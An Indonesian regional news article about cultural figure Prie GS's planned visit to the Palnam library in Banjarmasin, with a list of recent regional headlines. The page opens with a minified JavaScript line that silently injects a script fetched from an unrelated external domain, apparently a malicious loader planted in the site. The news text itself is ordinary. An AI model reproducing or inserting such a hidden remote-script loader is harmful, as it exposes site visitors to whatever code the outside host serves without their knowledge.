(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Budayawan Prie GS Akan Sambangi Perpustakaan Palnam


BANJARMASIN, Budayawan Prie GS tampak antusias dengan rencana kedatangannya ke Kalimantan Selatan. Dijadwalkan, pada 5 Februari mendatang budayawan kenamaan asal Jawa Tengah ini diundang ke Kalimantan Selatan oleh Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalsel, atau lebih tepatnya ke Perpustakaan Palnam.

Sebelum kedatangan Prie GS ke Perpustakaan Palnam, Kepala Dispersip Provinsi Kalsel Hj Nurlaini menyempatkan diri untuk menyambangi langsung Prie GS di galerinya di Semarang, Jawa Tengah, Kamis (2/1).

“Tak ada yang lebih membahagiakan seorang pembicara dibanding undangan untuk berbicara. Tak ada undangan yang lebih membahagiakan seorang penulis dibanding undangan untuk menulis. Tak ada undangan yang lebih membahagiakan seorang pemikir dibanding undangan untuk berdiskusi. Tak ada undangan yang lebih membahagiakan seorang pembaca dibanding undangan untuk berkunjung ke perpustakaan,” kata Prie GS, Kamis (2/1).

Prie GS menambahkan, membaca, menulis, berpikir dan bicara adalah seni peradaban. Dan pada awalnya bermula di perpustakan. Maka dari itu, dirinya beterimakasih kepada Dispersip Provinsi Kalsel yang mengundangnya untuk berhadir di Perpustakaan Palnam.

“Terimakasih pada Bunda Nunung, Kepala Dinas Perpustakaan dan kearsipan Provinsi Kalimantan Selatan yang telah berinisiatif membuat pertemuan ini berlangsung,” pesan Prie GS.

Prie GS juga menyampaikan, apa yang dilakukan oleh Perpustakaan Palnam sudah dalam koridor yang sangat tepat. “Memakmurkan perpustakaan adalah sebuah ibadah yang tinggi. Tinggi lagi kalau hasilnya berdampak ke masyarakat,” kata Prie GS.

Ditambahkannya, ‘ibadah’ itu menjadi lebih tinggi bila dampaknya sampai ke masyarakat dalam jangka panjang. Menurutnya, banyaknya anak yang datang ke perpustakaan saat ini itu, berarti perpustakaan sudah berhasil membuat dampak ke masyarakat. “Kan tidak mungkin mereka datang ke perpustakaan untuk tawuran,” kata Prie.

Prie melihat, apa yang sudah dilakukan Dispersip Provinsi Kalsel selama ini, seperti menjadikan Perpustakaan menjadi pusat kegiatan mulai dari kesenian atau kebudayaan, sehingga harus dijadikan semacam ‘peraturan’. “Biar menjadi legasi. Jadi perkara rohani. Mau diteruskan atau tidak nanti oleh penerusnya Bunda, itu perkara lain. Tapi Bunda sudah meninggalkan sesuatu yang bisa diteruskan,” pungkasnya. (fikri)

Reporter : Fikri
Editor : Chell


Desy Arfianty

Recent Posts

Modus Pinjam Perusahaan Korupsi Proyek RS Kelua Tabalong

Empat Terdakwa Jalani Sidang, Satu Orang Mantan Kepala Dinas Kesehatan Read More

3 menit ago

Camat Lurah Boleh Jabat Sekretariat PPK PPS

KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More

13 jam ago

Sekretaris Nasdem Kalsel Melamar Golkar, Rozanie Sadar Cukup Posisi Calon Wagub

KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More

13 jam ago

Mesin Terbakar di Udara, Pesawat Jemaah Haji Kloter 5 Embarkasi Makassar Kembali Mendarat

KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More

14 jam ago

Meteran Air Leding PAM Bandarmasih Hilang, Biaya Pergantian Ditanggung Pelanggan

KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More

14 jam ago

Layanan Posyandu Terintegrasi di Desa Manusup

KANALKALIMANTAN.COM, KUALA KAPUAS – Upaya memberikan pelayanan kesehatan dasar kepada masyarakat terus dilakukan Pos Pelayanan… Read More

14 jam ago

This website uses cookies.